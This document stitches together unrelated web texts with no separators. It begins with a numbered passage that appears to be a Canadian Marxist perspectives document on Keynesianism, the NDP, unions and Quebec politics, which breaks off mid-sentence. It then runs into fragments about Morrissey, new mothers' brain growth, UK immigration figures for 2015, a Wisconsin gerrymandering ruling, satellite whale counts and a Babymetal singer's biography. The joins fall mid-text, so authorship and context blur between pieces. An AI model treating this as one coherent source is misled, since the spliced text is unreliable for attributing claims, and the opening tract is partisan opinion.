21. Recently, it appears as if Keynesian ideas are coming back in fashion in some sectors of academia and the left. This is summed up in the slogan, “Tax the rich!” Some who call themselves Marxists have even repeated this. We believe this slogan is mistaken and leads to reformist confusions.
22. How is the inequality and crisis in the system to be resolved? So called “demand-side” economists (the Keynesians) point to the lack of a market due to the low standard of living of the masses. If only the market could be boosted then the crisis could be resolved. They propose taxing the bourgeois to lessen inequality and pump up the market. The “supply-side” economists (classical bourgeois) point out that if you take money from the rich, this reduces the surplus necessary for investment. This reduces the rate of profit and can cause a new slump.
23. The classical economists propose austerity and increased exploitation to restore the rate of profit. The Keynesians answer that this just further cuts the market and exacerbates the problem. This is exactly what is currently occurring in Greece and other southern European countries.
24. Both camps are correct in their critique of the other, but neither sees the whole picture. The economy involves both supply and demand and anything taken out of the system affects the entire system. Trying to boost the economy via taxation is the economic equivalent of a man trying to lift himself up by his own bootlaces. If you tax the rich, they will not invest. In some jurisdictions where they attempted to do this and there is even evidence that with tax evasion, creative accounting, and moving jurisdictions, that tax revenue has in fact decreased!
25. Having failed in taxing the rich, the next step of the Keynesians is using deficit financing to fund programs. Eventually this just leads to unsustainable debt loads, with debt servicing overtaking other expenditure. Some say that you don’t have to worry about debt; we would encourage these people to conduct an experiment and stop paying the minimum balance on their credit card or their mortgage payments. They will soon be educated, “on the streets”. The perspective that you do not have to worry about debt, as it will recede as a percentage of GDP, is based on incredibly optimistic growth projections. In essence, the reformists have more faith in the capitalist system than the capitalists do. Based upon the math of Don Drummond and other classical economists, the choice is between austerity or Italy-style debt. The Marxists do not believe that Drummond is too pessimistic. There is a good chance that he is too optimistic about capitalism.
26. Once taxation and deficit financing are rejected, all that remains is printing money. This serves to devalue the currency and leads to hyperinflation, which in turn, erodes the condition of the masses. Inflation is the legacy of the Keynesians, as seen in the 1970s. What is astounding is that, facing no other way out, sections of the bourgeois are seriously considering this route under the pretty name of “quantitative easing”. They previously said that they would never again go down this route. This is another symptom of the depth of the crisis and the impasse facing the capitalists.
27. Marxists are not opposed to taxing the rich. We merely point out that unless it is combined with nationalization of the commanding heights of the economy, under democratic workers’ control and management, progressive taxation will not solve the problem. The problem lies within the logic of the system as a whole, and not with either the supply or demand side of it. The only solution is to replace an economy based on profit, which inevitably results in overproduction and crisis, with an economy based upon meeting human needs. Then, the productive forces can be democratically planned for the needs of all. There is no way around this fact.
The mass organizations of the working class
28. Marxists place heavy emphasis on the mass organizations of the working class. These ideas were developed in Lenin’s Left Wing Communism, Trotsky’s Transitional Program, and by Ted Grant in the post-war period. History plays a significant role in developing mass consciousness, and no matter how much some leftists may desire to “begin again anew”, the masses do not see it that way. Ted Grant explained that when the masses move into political activity, they tend to do so through their traditional mass organizations — this means through the unions, the social-democratic labour parties, and the communist movement in the countries where communism has been a mass tendency. The mass of the population does not understand small groups, no matter how correct their ideas may be.
29. When entering the mass organizations, radicalized workers and youth will find an entrenched bureaucracy that is wed to the capitalist system. Trotsky explained that without this bureaucracy, the capitalists would not be able to maintain their rule. However, despite this, these organizations still have huge reserves of support amongst the working class. The electoral breakthrough of the federal NDP in 2011 was precisely due to this connection between the mass of the working class and their party. It occurred despite the party’s weak program, not because of it. Only the Marxists predicted and explained these developments in advance; all other commentators, journalists, academics, and sectarians believed that the NDP had a “ceiling” of 20% support. They were all left dumbfounded and confused while Marxist analysis prepared us to analyze and intervene in these developments the very next day. Such is the victory of foresight over astonishment.
30. The mass wave of emotion following the death of Jack Layton, with over 20,000 at his funeral, was an even clearer example of the link between mass consciousness and the NDP. The words in chalk at Nathan Phillips Square were overwhelmingly progressive, and sometimes even revolutionary. How is this to be explained if there is no link between the masses and the party? Again, only the Marxist tendency could analyze and connect with this sentiment without compromising our critique. All others were silent.
31. However, while it is generally true that the workers move through their mass organizations and the struggle will inevitably be crystallized in these structures at a certain point, it is not an automatic process. It is an historical irony that while capitalism is in its worst crisis in generations, the mass organizations have never had such a right wing and pro-capitalist leadership. The organized left within social democracy has also never been in such a state of disarray. One of the reasons for this is that with the crisis, there is no room for a middle ground — there is no money for reforms while maintaining capitalist rule. This undercuts the platform of the left reformists, which is essentially utopian under present conditions. The rule of “liberals” like Thomas Mulcair serves as a barrier to workers and youth entering the party at this stage. Until this is resolved we would expect the main developments to occur outside the NDP, either through the labour movement or via spontaneous outbursts.
32. While in opposition, the overwhelming pressure within the party is to maintain party unity and avoid splits. This promotes the monolithic dominance of the bureaucracy. However, sooner or later, it is inevitable that the crisis will discredit the capitalist parties and the NDP will be thrust into government. This is a necessary stage in the education of the mass of the population; people need to see for themselves what the right wing of social democracy can achieve. Under crisis conditions, and because of their unwillingness to break with the system, the reformists will be forced to take responsibility for capitalist austerity. This is what occurred during the British Labour government in the 1970s, or during the Bob Rae Ontario NDP government in the 1990s. Any attempt to implement reforms in favour of the workers will be faced with vicious opposition from the capitalists and their media — investment strikes, credit downgrades, and outright sabotage are to be expected. While in power, all the forces that tended to promote unity in the previous period will instead provoke disunity and splits. It is important to conceptualize the mass organizations as dynamic and contradictory structures. On the one side, there is the bureaucratic pro-capitalist leadership; on the other is the rank-and-file and the link with the wider working class. This dialectical struggle plays itself out in tandem with the broader struggle of the working class in society. It is precisely this link between mass consciousness and the mass organizations that the bourgeois fear with such venom and hatred.
33. Our analysis is occasionally misinterpreted and vulgarized (sometimes deliberately) as, “The mass organizations inevitably move to the left.” This is not, and has never been, our position. Our analysis does not predict an inevitable leftward movement; our analysis predicts an inevitable polarization within the mass organizations where the competing class forces (bourgeois vs. proletarian) are crystallized out. The eventual perspective is for conflict, division, and splits, both to the left and to the right. The British Labour government of the 1970s collapsed after its austerity policies provoked a wave of public sector strikes in 1979 (the so-called “Winter of Discontent”). This discredited the leadership in the eyes of the rank-and-file and precipitated the split of the right wing, which formed the SDP. The rightward split propelled the left forward, with the Marxists present as the “left-of-the-left”, and the party adopted the position of nationalization of the top 25 monopolies in the 1983 election. In Canada, a similar development occurred with the formation of the Waffle tendency. In response to the crisis of the late 1960s/early 1970s, a semi-revolutionary tendency calling for socialism and widespread nationalization managed to gain 37% support in the 1971 party leadership contest. It is necessary for the revolutionary Marxist tendency to be present in order to assist radicalized workers in the best tactics and ideas to overcome the bureaucratic minority.
34. In Europe, we have seen the rise of left formations like Die Linke in Germany, Izquierda Unida in Spain, Le Front de gauche in France, and SYRIZA in Greece. Some have asked where Canada’s SYRIZA will come from and whether this disproves our emphasis on the mass organizations. This comes from a superficial understanding of the histories of these countries — all of these formations come from the communist movement, which is a mass tradition in these nations. Some of these organizations also include left-splits from the old social democratic parties. An opposite example is shown by the miserable fate of left formations that have no link to the mass tradition, such as RESPECT in Britain or the French NPA. One cannot just transpose developments in cookie-cutter fashion from one country to another. The concrete situation must be analyzed in each instance to determine commonalities and differences. As an aside, it is also important not to romanticize these left tendencies; for example, the leadership of SYRIZA is moving rightwards as it comes under pressure from the ruling class with its proximity to power. The rise of the left does not remove the need to build the consciously worked out revolutionary tendency – precisely the opposite. However, to answer the question of where Canada’s SYRIZA will come from: we would expect the radicalization of the workers to be expressed via the formation of a left wing within the labour movement and NDP as this is the only mass tradition in English Canada.
35. The labour movement itself is in a sorry state. Under attack, facing capitulation after capitulation, the leadership is completely lost in this new epoch of austerity. They keep on harking back to the 1960s, as if that period was how things are supposed to be. In hindsight, we can see that it was the post-war boom, which allowed limited reforms, that was the aberration for capitalism. The natural state of capitalism, the “new normal”, is that of austerity and crass exploitation. This contradiction between material reality and the ideology of the workers’ representatives cannot continue indefinitely.
36. In the early period after the onset of the Great Recession the labour leaders tried to ignore the crisis and stick their heads in the sand, ostrich style. They advised workers to keep their heads down, accept cutbacks, and soon this would all blow over. Unfortunately for the workers, instead of blowing over, the capitulatory tactics have invited further aggression with the potential implementation of “right-to-work” and the removal of the Rand Formula. Now, the union tops have done a rhetorical summersault. From, “Nothing to see here,” we have gone to, “The sky is falling!” Some are talking about the destruction of the labour movement. Sections of the union bureaucracy are panicked that a potential 50% reduction in dues would mean that cuts would not just impact the workers but also the union apparatus. As Marxists, it is necessary to have a sense of proportion; we can neither ignore the crisis, nor run around Chicken-Little style. Both approaches lead to reactionary conclusions. For example, in Ontario, the fear of right-to-work under the Hudak Conservatives has led the labour leaders to adopt “lesser-evil” tactics to prop up the Wynne Liberals — despite the recent Liberal attacks on the teachers and wider public sector. The message from the bureaucracy is, “We will accept austerity for the workers — but don’t touch our expense accounts!” Any economic cut is acceptable as long as the political rights of the union apparatus are maintained. Of course this also undermines the union, as workers see no point in paying dues to accept austerity.
37. While the removal of the Rand formula is an important attack that must be resisted by mass action, the labour movement is not on the verge of destruction. Only a mass fascist movement can destroy the labour movement, and alarmism only disarms the workers. Firstly, it is not even guaranteed that the bourgeois will push these counter-reforms. They are split between the “neo-cons”, who want to press their advantage, and the more far-sighted elements, who are more cautious. They see such provocative actions as potentially enraging the workers and leading to the removal of the right-wing labour leaders who are currently propping up capitalism. These attacks are also not electorally popular, as seen by the low approval numbers of Hudak and other right-wingers. Secondly, even in the event that the attacks are victorious, all that does is to move Canada to the labour relations regime of the United States. Yes, the American unions are weaker than in Canada, but they are still potentially the most powerful force in US society. Margaret Thatcher even illegalized the closed shop in Britain in the 1980s, but the fight against the attack actually politicized many workers and the feared dues reductions did not manifest. These attacks prepare the way for a mass mobilization and renewal of the labour movement at a certain point. However, while Marxists agitate for the need to stand and fight now, we are too weak to be the deciding voice on when the struggle will occur.
38. Increasingly, the bourgeois state is utilizing anti-democratic methods in order to enforce austerity — back-to-work legislation, enforced contracts, limits on freedom of assembly and picketing, mass detention, and police violence. The Quebec students showed in practice that the only way to defeat state oppression is through mass defiance. The workers and their organizations need to learn this lesson; until they do, there will be nothing but defeats. This gives people a very real education in the nature of the state. Each time the capitalists use these tools, they become a little more blunted; with every use, new cracks appear in the façade that we live in a free and democratic society where all are equal under the law. Eventually, one decisive section of the working class will defy anti-democratic laws and it will have a radicalizing effect on the labour movement as a whole. The logic of such confrontations leads to wildcat actions, solidarity walkouts, and even general strikes. As long as austerity continues, there is an ongoing potential for generalized struggle to flare up from almost nothing. All it needs is for one group of workers to be the first to step up.
Quebec in turmoil
39. For more than a decade, the people of Quebec have been searching for a road out of the impasse of society. The old dichotomy of federalism-nationalism, that has dominated debate since the 1970s, is no longer sufficient. There have been sudden and dramatic swings in public opinion, both to the left and to the right, with the concurrent rise and fall of political organizations and individuals. Objectively, there is a fantastic opportunity for the formation of a labour party to unite all sectors of the working class and to cut across old divisions. However, until such a party can be formed, the social oscillations will continue with increasing tempo and violence.
40. The Quebec student strike marked an important step forward and revealed the depth of discontent that exists in society. It also demonstrated the potential for struggle that exists when a traditional mass organization of the workers and youth actually stands up and gives a lead. The defeat of the Liberals was a direct result of this mass mobilization that saw hundreds of thousands on the streets and red banners flying in the working-class neighbourhoods of Montreal. In response, the Parti Quebecois was forced to campaign from the left. They managed to eke out a minority victory that resolves none of the key issues.
41. The national question in Quebec has not gone away — it merely exists side-by-side with the class question. This was shown during the 2012 provincial election when both the Liberals and PQ used the national question to shift the focus away from the student movement and capitalist austerity. The Liberals and the anglo-chauvinist media whipped up hysteria over the coming PQ government, convincing people that the PQ would not respect the rights of immigrants and anglophones, which could only be defended by the Liberals. The shooting at the PQ victory party only served to heighten tensions. Unfortunately, this national divide-and-rule strategy was in part successful and allowed the Liberals to mostly sweep the island of Montreal. It is ironic that they succeeded in the area where the student strike was strongest.
42. Quebec solidaire represents an important opportunity for the formation of a genuine mass party of labour in Quebec. QS’ membership was boosted by 6,000 in the wake of the student protests, and it doubled its vote and seat count in the election. However, it is yet to unite with the labour movement, and the party leadership either appears to have no conception of how to do this, or no desire to do so. Inexplicably, during the 2012 election, the only demonstration they chose to organize was over the question of independence. Free education, full employment, decent housing, or almost anything else would have been a better subject to delineate QS from the PQ and not just lead to the perception that QS is the left wing of the Parti Quebecois. The actions of the QS leadership effectively assisted the Quebec bourgeoisie’s aims — to shift the focus away from the class question in Quebec and further divide the Quebec working class. The Coalition Avenir Québec (CAQ) was able to gain significant support by cutting across the national divide from the right; unfortunately, the leaders of QS have not yet understood that the way forward is to adopt an analogous strategy from the left. Despite this, QS may be utilized as the main political vehicle of the masses due to the lack of any alternative.
43. The federal NDP in Quebec is not yet a traditional mass organization of the Quebec working class. The unions remain outside the party and the Mulcair clique appears to be hostile to them. The party leadership has done everything in its power to not get involved in the recent social struggles in Quebec — |
of cooking meat at the Coachella festival.
> Morrissey 'demanded Wireless meat ban'
> Morrissey 'blasts Damien Hirst's work'
Watch Morissey talking about the meat industry on Channel 4's The Importance of Being Morrissey below:New research published by the APA has suggested new mothers brains can grow within months of giving birth. Researchers discovered a small, yet significant increase in gray matter within certain areas of the brain responsible for emotional processing, reward and maternal motivation, amongst others. Additionally, mothers who considered their babies to be extremely special or perfect were shown to be more likely to develop larger mid brains.
The Real ‘Mommy Brain’: New Mothers Grew Bigger Brains Within Months of Giving Birth
Warmer feelings toward babies linked to bigger mid-brains
Motherhood may actually cause the brain to grow, not turn it into mush, as some have claimed. Exploratory research published by the American Psychological Association found that the brains of new mothers bulked up in areas linked to motivation and behavior, and that mothers who gushed the most about their babies showed the greatest growth in key parts of the mid-brain.
Led by neuroscientist Pilyoung Kim, PhD, now with the National Institute of Mental Health, the authors speculated that hormonal changes right after birth, including increases in estrogen, oxytocin and prolactin, may help make mothers’ brains susceptible to reshaping in response to the baby. Their findings were published in the October issue of Behavioral Neuroscience.
The motivation to take care of a baby, and the hallmark traits of motherhood, might be less of an instinctive response and more of a result of active brain building, neuroscientists Craig Kinsley, PhD, and Elizabeth Meyer, PhD, wrote in a special commentary in the same journal issue.
The researchers performed baseline and follow-up high-resolution magnetic-resonance imaging on the brains of 19 women who gave birth at Yale-New Haven Hospital, 10 to boys and nine to girls. A comparison of images taken two to four weeks and three to four months after the women gave birth showed that gray matter volume increased by a small but significant amount in various parts of the brain. In adults, gray matter volume doesn’t ordinarily change over a few months without significant learning, brain injury or illness, or major environmental change.
The areas affected support maternal motivation (hypothalamus), reward and emotion processing (substantia nigra and amygdala), sensory integration (parietal lobe), and reasoning and judgment (prefrontal cortex).
In particular, the mothers who most enthusiastically rated their babies as special, beautiful, ideal, perfect and so on were significantly more likely to develop bigger mid-brains than the less awestruck mothers in key areas linked to maternal motivation, rewards and the regulation of emotions.
The mothers averaged just over 33 years in age and 18 years of school. All were breastfeeding, nearly half had other children and none had serious postpartum depression.
Although these early findings require replication with a larger and more representative sample, they raise intriguing questions about the interaction between mother and child (or parent and child, since fathers are also the focus of study). The intense sensory-tactile stimulation of a baby may trigger the adult brain to grow in key areas, allowing mothers, in this case, to “orchestrate a new and increased repertoire of complex interactive behaviors with infants,” the authors wrote. Expansion in the brain’s “motivation” area in particular could lead to more nurturing, which would help babies survive and thrive physically, emotionally and cognitively.
Further study using adoptive mothers could help “tease out effects of postpartum hormones versus mother-infant interactions,” said Kim, and help resolve the question of whether the brain changes behavior or behavior changes the brain – or both.
The authors said that postpartum depression may involve reductions in the same brain areas that grew in mothers who were not depressed. “The abnormal changes may be associated with difficulties in learning the rewarding value of infant stimuli and in regulating emotions during the postpartum period,” they said. Further study is expected to clarify what happens in the brains of mothers at risk, which may lead to improved interventions.
In their “Theoretical Comment,” Kinsley and Meyer, of the University of Richmond, connected this research on human mothers to similar basic research findings in laboratory animals. All the scientists agreed that further research may show whether increased brain volumes are due to growth in nerve cells themselves, longer and more complex connections (dendrites and dendritic spines) between them, or bushier branching in nerve-cell networks.
Article: “The Plasticity of Human Maternal Brain: Longitudinal Changes in Brain Anatomy During the Early Postpartum Period,” Pilyoung Kim, PhD, Cornell University and Yale University School of Medicine; James F. Leckman, MD, Yale University School of Medicine; Linda C. Mayes, MD, Yale University School of Medicine and The Anna Freud Centre; Ruth Feldman, PhD, Yale University School of Medicine and Bar-Ilan University; Xin Wang, MD, PhD, University of Michigan, James E. Swain, MD, PhD, FRCPS, Yale University School of Medicine and University of Michigan; Behavioral Neuroscience, Vol. 124, No. 5.
Article: “The Plasticity of Human Maternal Brain: Longitudinal Changes in Brain Anatomy During the Early Postpartum Period: Theoretical Comment on Kim et al. (2010),” Craig H. Kinsley, PhD, and Elizabeth A. Meyer, PhD, University of Richmond; Behavioral Neuroscience, Vol. 124, No. 5.
Source: American Psychological AssociationAnnual net immigration to Britain rose to 333,000 in 2015, just 3,000 below its record peak, confirming the UK as a country of mass immigration, figures from the Office for National Statistics show.
The near-record net immigration figure was 20,000 higher than the 2014 figure and the ONS said the difference was driven by a 14,000 fall in the number of British citizens emigrating to live abroad.
The net immigration of EU citizens to Britain – those who come to live in the UK for more than 12 months minus those who left Britain to live abroad for more than 12 months – was estimated to be 184,000 in 2015 – 10,000 higher than the previous year.
The rise in net immigration provoked an immediate clash, with Boris Johnson, the former London mayor and pro-Brexit campaigner, saying David Cameron’s EU renegotiation deal had “given away control of immigration and asylum forever”. He said: “If you vote in on June 23 [in the EU referendum], you are kissing goodbye permanently to control of immigration.”
UK immigration increased by only 20,000 in 2015, official figures confirm - live Read more
Ukip’s Nigel Farage said the numbers showed that “mass immigration is still hopelessly out of control and set to get worse if we remain inside the EU, going on with disastrous open borders”.
But the immigration minister, James Brokenshire, hit back, saying that while net immigration remained too high, leaving the EU was “absolutely no panacea or silver bullet”.
Britain’s relative economic growth and its continuing role as the “jobs factory of Europe” continues to attract record numbers of migrants. The ONS said 308,000 long-term migrants came to live in Britain to work – an increase of 30,000 and the highest on record. More than 58% or 178,000 had a definite job to go to but a further 130,000 arrived looking for work.
The ONS also said 630,000 national insurance numbers were issued to EU nationals in the 12 months to this March – an increase of only 1,000 over the previous year.
Facebook Twitter Pinterest Boris Johnson said EU renegotiation deal had ‘given away control of immigration and asylum forever’. Photograph: Stefan Rousseau/PA
The statisticians said earlier this month that the difference between national insurance numbers issued and the number of long-term EU migrants coming to the UK to work was largely made up of short-term migrants coming to work for between three and 12 months.
But the ONS only published figures on Thursday for short-term immigration for the 12 months to June 2014, which showed that on one definition there were 317,000 short-term immigrants during this period – up 118,000 on the previous year.
The number of short-term migrants coming to Britain is far outnumbered by the number of British citizens going to live abroad for less than 12 months, which stood at 399,000 in the 12 months to June 2014.
New figures also show that in 2014 there were nearly twice as many Britons working and living abroad for less than a year – 420,000 on one definition – than the number of short-term migrants in Britain, 241,000.
Glen Watson, the deputy national statistician, said the ONS had published figures for short-term migration that covered a number of definitions ranging from 165,000 on a UN definition to 1.2 million on the broadest definition in the year ending June 2014.
He stressed that the 1.2 million figure for short-term immigration of three to 12 months on the widest definition was less than half the level of short-term emigration of 2.4 million.
“Both figures include a large proportion of visits under three months and a large proportion of visits to see family or friends and holidays,” he said.
“These figures are useful for giving a detailed picture of UK migration trends, but simply adding together long-term and short-term migration figures does not give a reliable estimate of overall migration.”
The net immigration figure of 333,000 is more than three times the government’s target of reducing it to below 100,000 or the “tens of thousands”.
New asylum applications in the UK have also risen by 30% to 41,563 in the 12 months to this March. It is the fifth successive year that asylum applications have risen, with the largest numbers of applicants coming from Iran, Pakistan, Iraq and Eritrea. Only 2,235 Syrians were granted refugee protection in the 12 months to March, with a further 1,667 Syrians brought to Britain directly from the camps under the government’s emergency resettlement programme.
The ONS said the rise in net immigration was driven by a fall in the number of British citizens emigrating abroad, which was down 14,000 to 123,000. Total emigration in 2015 was 297,000 and far below its peak a decade ago when it stood at 427,000 in 2008. The biggest fall was in the number of Britons moving abroad to work, reflecting the relative strength of the UK jobs market. The top destinations remained Australia, France and the US.
A chance to defeat bigotry: that’s how to engage young people with the EU | Owen Jones Read more
Immigration to Britain of non-EU citizens actually fell by 10,000 last year to 277,000 with the decline largely down to lower numbers of Asian students, including those from China and India, coming to study, particularly in British further education colleges.
The number of overseas students coming to British universities and colleges has fallen to 167,000 – its lowest level since 2007. The largest single group of overseas students are now from China who accounted for one-third of all non-EU study visas in 2015, followed by the US, India and Malaysia.
The record 308,000 migrants who came to work in Britain last year was mainly driven by a rise in EU citizens coming for jobs, with labour migration from outside Europe remaining stable.
Labour Force Survey estimates show that the number of people working in Britain from outside Europe remained steady at 1.1 million in the 12 months to March. Over the same period the number of EU migrants working in the UK rose 11% to a record 2.1 million.
The majority of this increase – 131,000 of a 224,000 rise – involved migrants from the “original” EU 15 countries of western and southern Europe. A further 55,000 of the increase involved Romanians and Bulgarians, many of whom regularised their position after the lifting of labour market restrictions on them in January 2015. Labour immigration from eastern Europe saw only a 32,000 or 3% rise in comparison.
Brokenshire said the figures showed immigration was too high but underlined that there were no quick fixes or simple solutions.
He said: “We have cut abuse in student and family visa systems, raised standards in work routes and toughened welfare provisions. The new Immigration Act will go further, tackling illegal working and making it harder than ever for illegal migrants to stay under the radar, putting an end to the permissive environment of the past.
“In addition, the prime minister renegotiated our position within the EU. This will close back-door routes into the UK, tackle the artificial draw of the welfare system and make it easier to deal with abuse of free movement and to deport those with criminal records,” Brokenshire added.
Madeleine Sumption, of Oxford University’s Migration Observatory, said: “Immigration affects the UK in many different ways and its impacts cannot be reduced to a single statistic.
“Overall, the evidence shows that the main economic impacts of EU migration – such as effects on the UK labour market, public finances or public services – are relatively small. But different groups of people will be affected in different ways and, of course, economics is not the only factor that voters care about.”
She said the strength of the UK labour market relative to other EU countries was thought to have been a key driver of EU migration over the past few years, as most EU citizens were coming to the UK for work. The trend continued in the most recent figures with 73% of EU citizens moving to the UK in 2015 reporting work as their main motivation, she added.
Chai Patel, of the Joint Council for the Welfare of Immigrants, said: “With only four weeks to go until the EU referendum, the toxic rhetoric surrounding migrants continues to rear its ugly head. Individual numbers, when taken in isolation, are poorly placed to show the positive impact that migration has had on the UK.
“Migrant workers play an essential role in improving the economic position of the UK and are vital for our health service, our construction industry, our service industry and the technology sector.”A federal court has ordered Wisconsin lawmakers to redraw the state’s legislative district lines by Nov. 1, saying the current lines are unconstitutional and should be replaced in time for the November 2018 election.
"Under the prevailing view in this court, the people of Wisconsin already have endured several elections under an unconstitutional reapportionment scheme," wrote Judges Kenneth Ripple, Barbara Crabb and William Griesbach in an eight-page court order. "If they are to be spared another such event, a new map must be drawn in time for the preparatory steps leading up to the election."
While the move represented another victory for Democratic plaintiffs who brought this redistricting lawsuit, it fell short of the outcome they’d hoped for. Democrats wanted the court to redraw Wisconsin’s legislative district lines instead of leaving the decisions to Republican lawmakers, who drew the current district lines in 2011.
Still, the ruling was roundly celebrated by Democrats and groups who brought the lawsuit, who said it would give voters a fair shot at picking the representatives they want in the 2018 election.
"This is a great win," said Sachin Chheda, director of the Fair Elections Project, which helped launch the redistricting lawsuit. "Once again, the court has emphatically instructed the state to move ahead and draw new maps. They’ve said clearly that the current maps are unconstitutional and they’re violating the rights of Wisconsin citizens. And we need to move ahead and have the next round of elections happen under fair and honest, transparent maps."
Friday’s court order may not be the final word in this case. The Wisconsin Department of Justice, which defended the state’s legislative maps, is likely to challenge the ruling.
"We are reviewing the court’s order, but we expect to file an appeal with the Supreme Court and seek prompt reversal of this decision," said Wisconsin DOJ spokesman Johnny Koremenos in a brief statement.
"We believe the maps are constitutional," said Gov. Scott Walker Spokesman Tom Evenson. "We are reviewing the decision with DOJ and plan to seek a prompt review from the U.S. Supreme Court."
Federal redistricting decisions are appealed directly to the U.S. Supreme Court, although the Supreme Court is not obligated to hear the appeals. Given this ruling’s potential national significance, Supreme Court justices will likely want to have a say, according to attorney Gerry Hebert, who represented Democratic plaintiffs in this case.
"If we are successful, then a ruling by the Supreme Court in our favor would apply against Democratic gerrymanders and Republican gerrymanders," Hebert said. "We do think that five justices are looking to curb one of the most fundamental abuses of the democracy we have in the United States, and that’s extreme partisan gerrymandering."
Though the makeup of the U.S. Supreme Court will change once President Donald Trump nominates his first justice, five justices are all that’s needed for a majority opinion, and five justices have already signaled an openness to striking down legislative maps in a partisan gerrymandering lawsuit like this one. The question raised by the court in a previous ruling was how to measure when a map becomes too partisan.
Wisconsin’s plaintiffs hope to answer that question with a metric they’ve dubbed the "efficiency gap." It compares the total number of votes a party receives in legislative races statewide to the total number of seats they actually win in the legislature.
The bigger the efficiency gap, the bigger the gerrymander, and evidence presented at a trial last spring showed Wisconsin had one of the largest Republican gerrymanders ever out of hundreds of maps drawn nationwide dating back to 1972.
Friday’s brief ruling did not lay down specific parameters on how the Wisconsin Legislature should redraw this map, instead referring to the court’s 2-1 decision from last November that ruled the map unconstitutional.
Ripple, who wrote that decision, was nominated to the federal bench by Republican President Ronald Reagan. He was joined in his ruling by Crabb, who was nominated by Democratic President Jimmy Carter.
Judge William Griesbach, who was nominated to the bench by President George W. Bush, a Republican, dissented in the November ruling, although he joined the rest of the court in issuing Friday’s court order.
It remains to be seen whether the Republican-led state legislature will take any action on a new map while this ruling is being appealed. A spokeswoman for Senate Majority Leader Scott Fitzgerald said Fitzgerald was referring all questions about this case to the Wisconsin Department of Justice.
A spokeswoman for Assembly Speaker Robin Vos did not immediately return an email seeking comment.Southern right whale Image copyright SPL A baleen whale growing up to 18m in length
Feeds on crustaceans like copepods and krill
Global population may number about 15,000
Tends to live between 40 and 60 degrees South
Scientists have demonstrated a new method for counting whales from space.
It uses very high-resolution satellite pictures and image-processing software to automatically detect the great mammals at or near the ocean surface.
A test count, reported in the journal Plos One, was conducted on southern right whales in the Golfo Nuevo on the coast of Argentina.
The automated system found about 90% of creatures pinpointed in a manual search of the imagery.
This is a huge improvement on previous attempts at space-borne assessment, and could now revolutionise the way whale populations are estimated.
Currently, such work is done through counts conducted from a shore position, from the deck of a ship or from a plane. But these are necessarily narrow in scope.
An automated satellite search could cover a much larger area of ocean and at a fraction of the cost.
"Our study is a proof of principle," said Peter Fretwell from the British Antarctic Survey.
Media playback is unsupported on your device Media caption Peter Fretwell: "Blue light penetrates the water column"
"But as the resolution of the satellites increases and our image analysis improves, we should be able to monitor many more species and in other types of location.
"It should be possible to do total population counts and in the future track the trajectory of those populations," he told the Inside Science programme on BBC Radio 4.
The breakthrough is in part down to the capability of the latest hi-res satellites.
In this study, Mr Fretwell and colleagues used DigitalGlobe's WorldView-2 platform.
This is among the most powerful commercial Earth observation platforms in operation today, and can see surface features down to 50cm in size in its panchromatic mode (black and white).
Media playback is unsupported on your device Media caption Vicky Rowntree: "Whales peak at Peninsula Valdes in September"
The team selected as their test area a 113-sq-km segment of the Golfo Nuevo on the Peninsula Valdes, a location famed for its gatherings of calving southern right whales.
Even though these are large animals, they still only take up a few pixels in the satellite picture.
Nonetheless, a manual search of the scene found 55 probable whales, 23 possible whales and 13 sub-surface features.
Several automated methods where then trialled, with the best results coming from a combination of the very hi-res panchromatic view and a narrow band of wavelengths in the violet part (400-450 nanometres) of the light spectrum.
This coastal band, as it is known, penetrates 15m or so into the water column in good conditions.
The automated approach found 89% of probable whales identified in the manual count.
Image copyright DigitalGlobe/BAS Image caption WorldView-2 has spectral bands that allow scientists to pull out specific information in the imagery
Mr Fretwell cautions that there are limitations to the technique. For example, rough seas or murky waters will confound a search. But he believes, on the basis of the trial study, that satellite counting can become a very useful conservation tool.
"In this type of automated analysis you have to balance two types of errors - errors where you miss whales, and errors where you misidentify whales. If you push too hard one way, like trying to catch all the whales, you'll increase the number of false positives. With our 90%, we had almost no misidentifications," the researcher explained.
Southern right whales were a very appropriate target for the study.
These animals were driven to near-extinction in the early 20th Century. Recognised as slow, shallow swimmers, they were the "right" whales to hunt.
Their numbers have seen something of a recovery, but without the means to carry out an accurate census, it is hard to know their precise status.
Concern has also been raised of late because of the sightings of many dead calves in the nursery grounds around the Peninsula Valdes.
Prof Vicky Rowntree from the University of Utah is the director of the Ocean Alliance's Southern Right Whale Program, and has spent many years studying the Valdes whales.
She said the new method would be a huge boon to her field of research.
"It's going to be absolutely amazing. The other dimension of it is that many marine mammal researchers have been killed flying in small planes while surveying whales. So my great desire is to get us out of small planes circling over whales and to be able to do it remotely. Satellite data is wonderful."
Image copyright Stephen roberts Image caption The southern right is the most abundant of the three right whale species
To hear more about southern right whales and satellite counting, listen to Inside Science with Lucie Green on BBC Radio 4 on Thursday at 1630 GMT.
Jonathan.Amos-INTERNET@bbc.co.uk and follow me on Twitter: @BBCAmosYui Mizuno (水野 由結, Mizuno Yui, born June 20, 1999)[1] is a Japanese musician, singer, model, and actress. She is a former member of the kawaii metal group Babymetal and the idol group Sakura Gakuin. In October 2018, she left Babymetal due to an undisclosed illness, and will be possibly returning to the stage as a solo artist. She is managed by the Amuse, Inc. talent agency.
Biography [ edit ]
On August 2, 2010, at the age of 11, Mizuno joined Sakura Gakuin, an idol group managed by the talent agency Amuse, Inc. She joined at the same time as another future Babymetal member, Moa Kikuchi. Sakura Gakuin had not yet released its debut single.[1][2] During their audition, Mizuno and Kikuchi performed a duo dance cover of "Over The Future" by Karen Girl's, two former members of which, Ayami Mutō and Suzuka Nakamoto, had also recently joined Sakura Gakuin.[3]
Besides performing as a whole group, Sakura Gakuin members were also divided into smaller subgroups known as "clubs." Each club had its own musical group that recorded its own songs. Mizuno and Kikuchi first became members of the "Baton Club" and its musical group Twinklestars. As backing singers and dancers, they were later teamed with lead singer Suzuka Nakamoto in a "Heavy Music" club,[4] with the associated music group being named Babymetal. Before the formation of this club, none of the three members knew what heavy metal was.[5]
Babymetal became an independent recording group in 2012.[6] Mizuno "graduated" from Sakura Gakuin in 2015,[7] and from then on performed with Babymetal exclusively. Mizuno and Kikuchi have a writing credit under the name "Black Babymetal" on the first Babymetal album in 2014, having written "Song 4" together during a bus trip.[8] The second Babymetal album, Metal Resistance, was released in 2016.
